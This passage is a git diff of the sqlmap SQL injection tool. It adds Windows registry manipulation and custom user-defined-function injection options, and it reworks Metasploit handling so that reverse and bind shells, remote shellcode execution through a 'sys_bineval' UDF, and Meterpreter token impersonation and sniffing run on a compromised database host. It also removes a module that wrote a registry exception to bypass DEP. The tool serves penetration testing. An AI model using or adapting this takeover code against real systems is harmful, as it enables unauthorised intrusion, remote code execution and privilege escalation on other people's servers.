conf.dbmsHandler.readFile(conf.rFile), sort=False) @@ -148,6 +152,16 @@ def action(): if conf.osBof: conf.dbmsHandler.osBof() + # Windows registry options + if conf.regRead: + dumper.string("Registry key value data", conf.dbmsHandler.regRead()) + + if conf.regAdd: + conf.dbmsHandler.regAdd() + + if conf.regDel: + conf.dbmsHandler.regDel() + # Miscellaneous options if conf.cleanup: conf.dbmsHandler.cleanup() diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 7c35fd00b..9d03d1407 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -137,6 +137,7 @@ def start(): logMsg = "testing url %s" % targetUrl logger.info(logMsg) + createTargetDirs() initTargetEnv() if not checkConnection() or not checkString() or not checkRegexp(): @@ -259,7 +260,6 @@ def start(): if condition: checkForParenthesis() - createTargetDirs() action() if conf.loggedToOut: diff --git a/lib/core/common.py b/lib/core/common.py index ac96d2f40..c8eb0d794 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -431,6 +431,9 @@ def readInput(message, default=None): else: data = raw_input(message) + if not data: + data = default + return data diff --git a/lib/core/option.py b/lib/core/option.py index 1bac5e18f..b6eb4e966 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -861,7 +861,7 @@ def __setKnowledgeBaseAttributes(): kb.injType = None # Back-end DBMS underlying operating system fingerprint via banner (-b) - # parsing or when knowing the OS is mandatory (i.g. dealing with DEP) + # parsing kb.os = None kb.osVersion = None kb.osSP = None diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 0da3c2825..1069eabcd 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -29,7 +29,7 @@ optDict = { "Target": { "url": "string", "list": "string", - "googleDork": "string", + "googleDork": "string" }, "Request": { @@ -45,7 +45,7 @@ optDict = { "proxy": "string", "threads": "integer", "delay": "float", - "timeout": "float", + "timeout": "float" }, "Injection": { @@ -57,7 +57,7 @@ optDict = { "string": "string", "regexp": "string", "eString": "string", - "eRegexp": "string", + "eRegexp": "string" }, "Techniques": { @@ -65,11 +65,11 @@ optDict = { "timeTest": "boolean", "unionTest": "boolean", "uTech": "string", - "unionUse": "boolean", + "unionUse": "boolean" }, "Fingerprint": { - "extensiveFp": "boolean", + "extensiveFp": "boolean" }, "Enumeration": { @@ -92,14 +92,21 @@ optDict = { "excludeSysDbs": "boolean", "limitStart": "integer", "limitStop": "integer", + "firstChar": "integer", + "lastChar": "integer", "query": "string", - "sqlShell": "boolean", + "sqlShell": "boolean" + }, + + "User-defined function": { + "udfInject": "boolean", + "shLib": "string" }, "File system": { "rFile": "string", "wFile": "string", - "dFile": "string", + "dFile": "string" }, "Takeover": { @@ -110,7 +117,17 @@ optDict = { "osBof": "boolean", "privEsc": "boolean", "msfPath": "string", - "tmpPath": "string", + "tmpPath": "string" + }, + + "Windows": { + "regRead": "boolean", + "regAdd": "boolean", + "regDel": "boolean", + "regKey": "string", + "regVal": "string", + "regData": "string", + "regType": "string" }, "Miscellaneous": { @@ -119,6 +136,6 @@ optDict = { "updateAll": "boolean", "sessionFile": "string", "batch": "boolean", - "cleanup": "boolean", + "cleanup": "boolean" }, } diff --git a/lib/core/session.py b/lib/core/session.py index b8ce773d7..d41434703 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -260,17 +260,6 @@ def setRemoteTempPath(): dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], conf.tmpPath)) -def setDEP(): - condition = ( - not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and - not kb.resumedQueries[conf.url].has_key("DEP") ) - ) - - if condition: - dataToSessionFile("[%s][%s][%s][DEP][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.dep)) - - - def resumeConfKb(expression, url, value): if expression == "String" and url == conf.url: string = value[:-1] @@ -460,10 +449,3 @@ def resumeConfKb(expression, url, value): logMsg = "resuming remote absolute path of temporary " logMsg += "files directory '%s' from session file" % conf.tmpPath logger.info(logMsg) - - elif expression == "DEP" and url == conf.url: - kb.dep = value[:-1] - - logMsg = "resuming DEP system policy value '%s' " % kb.dep - logMsg += "from session file" - logger.info(logMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0343ea058..73b39b578 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -30,7 +30,7 @@ import sys # sqlmap version and site -VERSION = "0.8-dev1" +VERSION = "0.8-rc1" VERSION_STRING = "sqlmap/%s" % VERSION SITE = "http://sqlmap.sourceforge.net" diff --git a/lib/core/target.py b/lib/core/target.py index 2fe346cf8..d7d2d32ef 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -33,6 +33,7 @@ from lib.core.common import parseTargetUrl from lib.core.convert import urldecode from lib.core.data import conf from lib.core.data import kb +from lib.core.data import logger from lib.core.data import paths from lib.core.dump import dumper from lib.core.exception import sqlmapFilePathException @@ -116,7 +117,12 @@ def __setOutputResume(): Check and set the output text file and the resume functionality. """ - if conf.sessionFile and os.path.exists(conf.sessionFile): + if not conf.sessionFile: + conf.sessionFile = "%s%ssession" % (conf.outputPath, os.sep) + + logger.info("using '%s' as session file" % conf.sessionFile) + + if os.path.exists(conf.sessionFile): readSessionFP = open(conf.sessionFile, "r") lines = readSessionFP.readlines() @@ -154,13 +160,12 @@ def __setOutputResume(): readSessionFP.close() - if conf.sessionFile: - try: - conf.sessionFP = open(conf.sessionFile, "a") - dataToSessionFile("\n[%s]\n" % time.strftime("%X %x")) - except IOError: - errMsg = "unable to write on the session file specified" - raise sqlmapFilePathException, errMsg + try: + conf.sessionFP = open(conf.sessionFile, "a") + dataToSessionFile("\n[%s]\n" % time.strftime("%X %x")) + except IOError: + errMsg = "unable to write on the session file specified" + raise sqlmapFilePathException, errMsg def __createFilesDir(): @@ -191,6 +196,25 @@ def __createDumpDir(): os.makedirs(conf.dumpPath, 0755) +def createTargetDirs(): + """ + Create the output directory. + """ + + conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname) + + if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH): + os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755) + + if not os.path.isdir(conf.outputPath): + os.makedirs(conf.outputPath, 0755) + + dumper.setOutputFile() + + __createDumpDir() + __createFilesDir() + + def initTargetEnv(): """ Initialize target environment. @@ -213,22 +237,3 @@ def initTargetEnv(): parseTargetUrl() __setRequestParams() __setOutputResume() - - -def createTargetDirs(): - """ - Create the output directory. - """ - - conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname) - - if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH): - os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755) - - if not os.path.isdir(conf.outputPath): - os.makedirs(conf.outputPath, 0755) - - dumper.setOutputFile() - - __createDumpDir() - __createFilesDir() diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index cea40f8d5..c132a3f8e 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -62,7 +62,6 @@ def cmdLineParser(): target.add_option("-c", dest="configFile", help="Load options from a configuration INI file") - # Request options request = OptionGroup(parser, "Request", "These options can be used " "to specify how to connect to the target url.") @@ -115,7 +114,6 @@ def cmdLineParser(): help="Retries when the connection timeouts " "(default 3)") - # Injection options injection = OptionGroup(parser, "Injection", "These options can be " "used to specify which parameters to test " @@ -156,7 +154,6 @@ def cmdLineParser(): help="Matches to be excluded before " "comparing page contents") - # Techniques options techniques = OptionGroup(parser, "Techniques", "These options can " "be used to test for specific SQL injection " @@ -191,7 +188,6 @@ def cmdLineParser(): "to retrieve the queries output. No " "need to go blind") - # Fingerprint options fingerprint = OptionGroup(parser, "Fingerprint") @@ -273,6 +269,12 @@ def cmdLineParser(): enumeration.add_option("--stop", dest="limitStop", type="int", help="Last query output entry to retrieve") + enumeration.add_option("--first", dest="firstChar", type="int", + help="First query output word character to retrieve") + + enumeration.add_option("--last", dest="lastChar", type="int", + help="Last query output word character to retrieve") + enumeration.add_option("--sql-query", dest="query", help="SQL statement to be executed") @@ -280,6 +282,16 @@ def cmdLineParser(): action="store_true", help="Prompt for an interactive SQL shell") + # User-defined function options + udf = OptionGroup(parser, "User-defined function injection", "These " + "options can be used to create custom user-defined " + "functions.") + + udf.add_option("--udf-inject", dest="udfInject", action="store_true", + help="Inject custom user-defined functions") + + udf.add_option("--shared-lib", dest="shLib", + help="Local path of the shared library") # File system options filesystem = OptionGroup(parser, "File system access", "These options " @@ -335,6 +347,33 @@ def cmdLineParser(): help="Remote absolute path of temporary files " "directory") + # Windows registry options + windows = OptionGroup(parser, "Windows registry access", "This " + "option can be used to access the back-end " + "database management system Windows " + "registry.") + + windows.add_option("--reg-read", dest="regRead", action="store_true", + help="Read a Windows registry key value") + + windows.add_option("--reg-add", dest="regAdd", action="store_true", + help="Write a Windows registry key value data") + + windows.add_option("--reg-del", dest="regDel", action="store_true", + help="Delete a Windows registry key value") + + windows.add_option("--reg-key", dest="regKey", + help="Windows registry key") + + windows.add_option("--reg-value", dest="regVal", + help="Windows registry key value") + + windows.add_option("--reg-data", dest="regData", + help="Windows registry key value data") + + windows.add_option("--reg-type", dest="regType", + help="Windows registry key value type") + # Miscellaneous options miscellaneous = OptionGroup(parser, "Miscellaneous") @@ -365,8 +404,10 @@ def cmdLineParser(): parser.add_option_group(techniques) parser.add_option_group(fingerprint) parser.add_option_group(enumeration) + parser.add_option_group(udf) parser.add_option_group(filesystem) parser.add_option_group(takeover) + parser.add_option_group(windows) parser.add_option_group(miscellaneous) (args, _) = parser.parse_args() diff --git a/lib/parse/queriesfile.py b/lib/parse/queriesfile.py index f256c7ac7..379f5d8b6 100644 --- a/lib/parse/queriesfile.py +++ b/lib/parse/queriesfile.py @@ -134,6 +134,10 @@ class queriesHandler(ContentHandler): data = sanitizeStr(attrs.get("query")) self.__queries.isDba = data + elif name == "check_udf": + data = sanitizeStr(attrs.get("query")) + self.__queries.checkUdf = data + elif name == "inband": self.__inband = sanitizeStr(attrs.get("query")) self.__inband2 = sanitizeStr(attrs.get("query2")) diff --git a/lib/request/inject.py b/lib/request/inject.py index 54d4d601f..1e089080b 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -45,7 +45,7 @@ from lib.utils.resume import queryOutputLength from lib.utils.resume import resume -def __goInference(payload, expression, charsetType=None): +def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None): start = time.time() if ( conf.eta or conf.threads > 1 ) and kb.dbms: @@ -55,7 +55,7 @@ def __goInference(payload, expression, charsetType=None): dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression)) - count, value = bisection(payload, expression, length, charsetType) + count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar) duration = int(time.time() - start) if conf.eta and length: @@ -68,7 +68,7 @@ def __goInference(payload, expression, charsetType=None): return value -def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None): +def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None, firstChar=None, lastChar=None): outputs = [] origExpr = None @@ -96,7 +96,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl warnMsg += "sqlmap is going to retrieve the value again" logger.warn(warnMsg) - output = __goInference(payload, expressionReplaced, charsetType) + output = __goInference(payload, expressionReplaced, charsetType, firstChar, lastChar) if isinstance(num, int): expression = origExpr @@ -106,7 +106,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl return outputs -def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None): +def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None, firstChar=None, lastChar=None): """ Retrieve the output of a SQL query characted by character taking advantage of an blind SQL injection vulnerability on the affected @@ -133,7 +133,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r return output if unpack == False: - return __goInference(payload, expression, charsetType) + return __goInference(payload, expression, charsetType, firstChar, lastChar) if kb.dbmsDetected: _, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression) @@ -226,7 +226,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r if not stopLimit: if not count or not count.isdigit(): - count = __goInference(payload, countedExpression, charsetType) + count = __goInference(payload, countedExpression, charsetType, firstChar, lastChar) if count and count.isdigit() and int(count) > 0: count = int(count) @@ -297,7 +297,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r return None for num in xrange(startLimit, stopLimit): - output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType) + output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar) outputs.append(output) return outputs @@ -305,12 +305,12 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression: expression = "%s FROM DUAL" % expression - outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType) + outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar) returnValue = ", ".join([output for output in outputs]) else: - returnValue = __goInference(payload, expression, charsetType) + returnValue = __goInference(payload, expression, charsetType, firstChar, lastChar) return returnValue @@ -345,7 +345,7 @@ def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=Tr return data -def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None): +def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. It can call a function to retrieve the output @@ -375,7 +375,7 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, conf.paramNegative = False if blind and not value: - value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType) + value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar) conf.paramFalseCond = oldParamFalseCond conf.paramNegative = oldParamNegative diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 5a5f3ea8f..789e230ca 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -48,9 +48,22 @@ class Abstraction(UDF, xp_cmdshell): xp_cmdshell.__init__(self) + def __cmdShellCleanup(self): + if not conf.cleanup: + if kb.dbms in ( "MySQL", "PostgreSQL" ): + self.cleanup() + + elif kb.dbms == "Microsoft SQL Server": + self.cleanup(onlyFileTbl=True) + + else: + errMsg = "Feature not yet implemented for the back-end DBMS" + raise sqlmapUnsupportedFeatureException, errMsg + + def execCmd(self, cmd, silent=False, forgeCmd=False): if kb.dbms in ( "MySQL", "PostgreSQL" ): - self.udfExecCmd(cmd, silent) + self.udfExecCmd(cmd, silent=silent) elif kb.dbms == "Microsoft SQL Server": self.xpCmdshellExecCmd(cmd, silent, forgeCmd) @@ -60,12 +73,12 @@ class Abstraction(UDF, xp_cmdshell): raise sqlmapUnsupportedFeatureException, errMsg - def evalCmd(self, cmd): + def evalCmd(self, cmd, first=None, last=None): if kb.dbms in ( "MySQL", "PostgreSQL" ): - return self.udfEvalCmd(cmd) + return self.udfEvalCmd(cmd, first, last) elif kb.dbms == "Microsoft SQL Server": - return self.xpCmdshellEvalCmd(cmd) + return self.xpCmdshellEvalCmd(cmd, first, last) else: errMsg = "Feature not yet implemented for the back-end DBMS" @@ -89,8 +102,8 @@ class Abstraction(UDF, xp_cmdshell): else: self.execCmd(cmd, forgeCmd=True) - if kb.dbms == "Microsoft SQL Server": - self.cleanup(onlyFileTbl=True) + if not conf.osShell and not conf.cleanup: + self.__cmdShellCleanup() def absOsShell(self): @@ -138,20 +151,11 @@ class Abstraction(UDF, xp_cmdshell): self.runCmd(command) - if not conf.cleanup: - if kb.dbms in ( "MySQL", "PostgreSQL" ): - self.cleanup() - - elif kb.dbms == "Microsoft SQL Server": - self.cleanup(onlyFileTbl=True) - - else: - errMsg = "Feature not yet implemented for the back-end DBMS" - raise sqlmapUnsupportedFeatureException, errMsg + self.__cmdShellCleanup() def initEnv(self, mandatory=True, detailed=False): - if self.envInitialized == True: + if self.envInitialized is True: return self.checkDbmsOs(detailed) @@ -162,11 +166,11 @@ class Abstraction(UDF, xp_cmdshell): logger.warn(warnMsg) if kb.dbms in ( "MySQL", "PostgreSQL" ): - self.udfInit() + self.udfInjectCmd() elif kb.dbms == "Microsoft SQL Server": self.xpCmdshellInit(mandatory) else: - errMsg = "Feature not yet implemented for the back-end DBMS" + errMsg = "feature not yet implemented for the back-end DBMS" raise sqlmapUnsupportedFeatureException, errMsg diff --git a/lib/takeover/dep.py b/lib/takeover/dep.py deleted file mode 100644 index 64180b0a7..000000000 --- a/lib/takeover/dep.py +++ /dev/null @@ -1,171 +0,0 @@ -#!/usr/bin/env python - -""" -$Id$ - -This file is part of the sqlmap project, http://sqlmap.sourceforge.net. - -Copyright (c) 2007-2009 Bernardo Damele A. G. -Copyright (c) 2006 Daniele Bellucci - -sqlmap is free software; you can redistribute it and/or modify it under -the terms of the GNU General Public License as published by the Free -Software Foundation version 2 of the License. - -sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY -WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS -FOR A PARTICULAR PURPOSE. See the GNU General Public License for more -details. - -You should have received a copy of the GNU General Public License along -with sqlmap; if not, write to the Free Software Foundation, Inc., 51 -Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -""" - - - -from lib.core.data import kb -from lib.core.data import logger -from lib.core.session import setDEP - - -class DEP: - """ - This class defines methods to handle DEP (Data Execution Prevention) - - The following operating systems has DEP enabled by default: - * Windows XP SP2+ - * Windows Server 2003 SP1+ - * Windows Vista SP0+ - * Windows 2008 SP0+ - - References: - * http://support.microsoft.com/kb/875352 - * http://en.wikipedia.org/wiki/Data_Execution_Prevention - """ - - def __init__(self): - self.bypassDEP = False - self.__supportDEP = False - - - def __initVars(self, exe): - self.__DEPvalues = { - "OPTIN": "only Windows system binaries are covered by DEP by default", - "OPTOUT": "DEP is enabled by default for all processes, exceptions are allowed", - "ALWAYSON": "all processes always run with DEP applied, no exceptions allowed, giving it a try anyway", - "ALWAYSOFF": "no DEP coverage for any part of the system" - } - self.__excRegKey = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" - self.__excRegValue = exe - self.__excRegValue = self.__excRegValue.replace("/", "\\") - - - def __addException(self): - infoMsg = "adding an exception to DEP in the Windows registry " - infoMsg += "for '%s' executable" % self.__excRegValue - - logger.info(infoMsg) - - if kb.dbms == "PostgreSQL": - warnMsg = "by default PostgreSQL server runs as postgres " - warnMsg += "user which has no privileges to add/delete " - warnMsg += "Windows registry keys, sqlmap will give it a try " - warnMsg += "anyway" - logger.warn(warnMsg) - - self.addRegKey(self.__excRegKey, self.__excRegValue, "REG_SZ", "DisableNXShowUI") - - - def delException(self): - if self.bypassDEP == False: - return - - infoMsg = "deleting the exception to DEP in the Windows registry " - infoMsg += "for Metasploit Framework 3 payload stager" - logger.info(infoMsg) - - self.delRegKey(self.__excRegKey, self.__excRegValue) - - - def __analyzeDEP(self): - detectedValue = False - - for value, explanation in self.__DEPvalues.items(): - if value in kb.dep: - detectedValue = True - - if value in ( "OPTIN", "ALWAYSOFF" ): - logger.info(explanation) - - self.bypassDEP = False - - elif value == "OPTOUT": - logger.info(explanation) - - self.bypassDEP = True - self.__addException() - - elif value == "ALWAYSON": - logger.warn(explanation) - - self.bypassDEP = True - self.__addException() - - if detectedValue == False: - warnMsg = "it was not possible to detect the DEP system " - warnMsg += "policy, sqlmap will threat as if " - warnMsg += "%s" % self.__DEPvalues["OPTOUT"] - logger.warn(warnMsg) - - self.__addException() - - - def __systemHasDepSupport(self): - depEnabledOS = { - "2003": ( 1, 2 ), - "2008": ( 0, 1 ), - "XP": ( 2, 3 ), - "Vista": ( 0, 1 ), - } - - for version, sps in depEnabledOS.items(): - if kb.osVersion == version and kb.osSP in sps: - self.__supportDEP = True - break - - - def handleDep(self, exe): - logger.info("handling DEP") - - self.__systemHasDepSupport() - - if self.__supportDEP == True: - infoMsg = "the back-end DBMS underlying operating system " - infoMsg += "supports DEP: going to handle it" - logger.info(infoMsg) - - elif not kb.osVersion or not kb.osSP: - warnMsg = "unable to fingerprint the back-end DBMS " - warnMsg += "underlying operating system version and service " - warnMsg += "pack: going to threat as if DEP is enabled" - logger.warn(warnMsg) - - self.bypassDEP = True - - else: - infoMsg = "the back-end DBMS underlying operating system " - infoMsg += "does not support DEP: no need to handle it" - logger.info(infoMsg) - - return - - logger.info("checking DEP system policy") - - self.__initVars(exe) - - if not kb.dep: - kb.dep = self.readRegKey("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control", "SystemStartOptions", True).upper() - setDEP() - - self.__analyzeDEP() diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 2c714e46c..e71358dd1 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -24,7 +24,6 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -import binascii import os import re import stat @@ -67,6 +66,7 @@ class Metasploit: self.portStr = None self.payloadStr = None self.encoderStr = None + self.payloadConnStr = None self.resourceFile = None @@ -93,14 +93,13 @@ class Metasploit: self.__msfConnectionsList = { "windows": { - 1: ( "Bind TCP (default)", "bind_tcp" ), - 2: ( "Bind TCP (No NX)", "bind_nonx_tcp" ), - 3: ( "Reverse TCP", "reverse_tcp" ), - 4: ( "Reverse TCP (No NX)", "reverse_nonx_tcp" ), + 1: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ), + 2: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ), + 3: ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports" ), }, "linux": { - 1: ( "Bind TCP (default)", "bind_tcp" ), - 2: ( "Reverse TCP", "reverse_tcp" ), + 1: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ), + 2: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ), } } @@ -130,8 +129,8 @@ class Metasploit: } self.__portData = { - "bind": "remote port numer", - "reverse": "local port numer", + "bind": "remote port number", + "reverse": "local port number", } @@ -186,7 +185,10 @@ class Metasploit: def __selectEncoder(self, encode=True): - if kb.os == "Windows" and encode == True: + if isinstance(encode, str): + return encode + + elif kb.os == "Windows" and encode is True: return self.__skeletonSelection("payload encoding", self.__msfEncodersList) @@ -330,10 +332,14 @@ class Metasploit: self.payloadStr = self.__selectPayload(askChurrasco) self.encoderStr = self.__selectEncoder(encode) + if self.payloadStr == "linux/x86/shell": + self.payloadConnStr = "%s_%s" % (self.payloadStr, self.connectionStr) + else: + self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr) + def __forgeMsfCliCmd(self, exitfunc="process"): - self.__cliCmd = "%s multi/handler PAYLOAD=" % self.__msfCli - self.__cliCmd += "%s/%s" % (self.payloadStr, self.connectionStr) + self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr) self.__cliCmd += " EXITFUNC=%s" % exitfunc self.__cliCmd += " LPORT=%s" % self.portStr @@ -364,7 +370,7 @@ class Metasploit: self.__resource = "use windows/smb/smb_relay\n" self.__resource += "set SRVHOST %s\n" % self.lhostStr self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort() - self.__resource += "set PAYLOAD %s/%s\n" % (self.payloadStr, self.connectionStr) + self.__resource += "set PAYLOAD %s\n" % self.payloadConnStr self.__resource += "set LPORT %s\n" % self.portStr if self.connectionStr.startswith("bind"): @@ -384,8 +390,7 @@ class Metasploit: def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None): - self.__payloadCmd = self.__msfPayload - self.__payloadCmd += " %s/%s" % (self.payloadStr, self.connectionStr) + self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr) self.__payloadCmd += " EXITFUNC=%s" % exitfunc self.__payloadCmd += " LPORT=%s" % self.portStr @@ -395,19 +400,11 @@ class Metasploit: elif not self.connectionStr.startswith("bind"): raise sqlmapDataException, "unexpected connection type" - if kb.os == "Windows": + if kb.os == "Windows" or extra == "BufferRegister=EAX": self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format) if extra is not None: self.__payloadCmd += " %s" % extra - - # NOTE: payload stager for Linux can only be encoded if the - # Metasploit working copy has been updated after May 11, 2009 - # (http://trac.metasploit.com/changeset/6543) - # - # TODO: remember to update this code as soon as Metasploit - # Framework 3.3 is out officially and update the user's manual to - # notify that sqlmap depends upon Metasploit Framework 3.3 else: self.__payloadCmd += " X > %s" % outFile @@ -431,6 +428,14 @@ class Metasploit: self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE) + def __runMsfShellcodeRemote(self): + infoMsg = "running Metasploit Framework 3 shellcode " + infoMsg += "remotely via UDF 'sys_bineval', wait.." + logger.info(infoMsg) + + self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval") + + def __runMsfPayloadRemote(self): infoMsg = "running Metasploit Framework 3 payload stager " infoMsg += "remotely, wait.." @@ -447,11 +452,6 @@ class Metasploit: if kb.dbms == "Microsoft SQL Server": cmd = self.xpCmdshellForgeCmd(cmd) - # NOTE: calling the Metasploit payload from a system() function in - # C on Windows (check on Linux the behaviour) for some reason - # hangs it and the HTTP response goes into timeout, this does not - # happen when running the it from Windows cmd. - # Investigate and fix if possible self.execCmd(cmd, silent=True) @@ -459,23 +459,25 @@ class Metasploit: if kb.os != "Windows": return - if self.resourceFile != None: + if self.resourceFile is not None: proc.stdin.write("sessions -l\n") proc.stdin.write("sessions -i %s\n" % metSess) + proc.stdin.write("getuid\n") + + proc.stdin.write("use espia\n") + proc.stdin.write("use incognito\n") proc.stdin.write("use priv\n") + proc.stdin.write("use sniffer\n") if conf.privEsc == True: print - infoMsg = "loading Meterpreter 'incognito' extension and " - infoMsg += "displaying the list of Access Tokens availables. " + infoMsg = "displaying the list of Access Tokens availables. " infoMsg += "Choose which user you want to impersonate by " infoMsg += "using incognito's command 'impersonate_token'" logger.info(infoMsg) - proc.stdin.write("use incognito\n") - proc.stdin.write("getuid\n") proc.stdin.write("list_tokens -u\n") @@ -520,6 +522,12 @@ class Metasploit: if pwnBofCond or smbRelayCond: func() + if "Starting the payload handler" in out and "shell" in self.payloadStr: + if kb.os == "Windows": + proc.stdin.write("whoami\n") + else: + proc.stdin.write("uname -a ; id\n") + metSess = re.search("Meterpreter session ([\d]+) opened", out) if metSess: @@ -531,18 +539,16 @@ class Metasploit: return returncode - def createMsfShellcode(self): - infoMsg = "creating Metasploit Framework 3 multi-stage shellcode " - infoMsg += "for the exploit" + def createMsfShellcode(self, exitfunc, format, extra, encode): + infoMsg = "creating Metasploit Framework 3 multi-stage shellcode " logger.info(infoMsg) self.__randStr = randomStr(lowercase=True) self.__shellcodeFilePath = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr) - self.shellcodeChar = "" self.__initVars() - self.__prepareIngredients(askChurrasco=False) - self.__forgeMsfPayloadCmd("seh", "raw", self.__shellcodeFilePath, "-b \"\\x00\\x27\"") + self.__prepareIngredients(encode=encode, askChurrasco=False) + self.__forgeMsfPayloadCmd(exitfunc, format, self.__shellcodeFilePath, extra) logger.debug("executing local command: %s" % self.__payloadCmd) process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE) @@ -551,31 +557,29 @@ class Metasploit: pollProcess(process) payloadStderr = process.communicate()[1] - if kb.os == "Windows": + if kb.os == "Windows" or extra == "BufferRegister=EAX": payloadSize = re.search("size ([\d]+)", payloadStderr, re.I) else: payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I) if payloadSize: - payloadSize = payloadSize.group(1) + payloadSize = int(payloadSize.group(1)) - debugMsg = "the shellcode size is %s bytes" % payloadSize + if extra == "BufferRegister=EAX": + payloadSize = payloadSize / 2 + + debugMsg = "the shellcode size is %d bytes" % payloadSize logger.debug(debugMsg) else: - errMsg = "failed to create the shellcode (%s)" % payloadStderr + errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", "") raise sqlmapFilePathException, errMsg self.__shellcodeFP = open(self.__shellcodeFilePath, "rb") - self.__shellcodeString = self.__shellcodeFP.read() + self.shellcodeString = self.__shellcodeFP.read() self.__shellcodeFP.close() os.unlink(self.__shellcodeFilePath) - hexStr = binascii.hexlify(self.__shellcodeString) - - for hexPair in range(0, len(hexStr), 2): - self.shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2] - def createMsfPayloadStager(self, initialize=True): if initialize == True: @@ -647,14 +651,21 @@ class Metasploit: os.unlink(self.exeFilePathLocal) - def pwn(self): - self.__runMsfCli(exitfunc="process") + def pwn(self, goUdf=False): + if goUdf is True: + exitfunc = "thread" + func = self.__runMsfShellcodeRemote + else: + exitfunc = "process" + func = self.__runMsfPayloadRemote + + self.__runMsfCli(exitfunc=exitfunc) if self.connectionStr.startswith("bind"): - self.__runMsfPayloadRemote() + func() debugMsg = "Metasploit Framework 3 command line interface exited " - 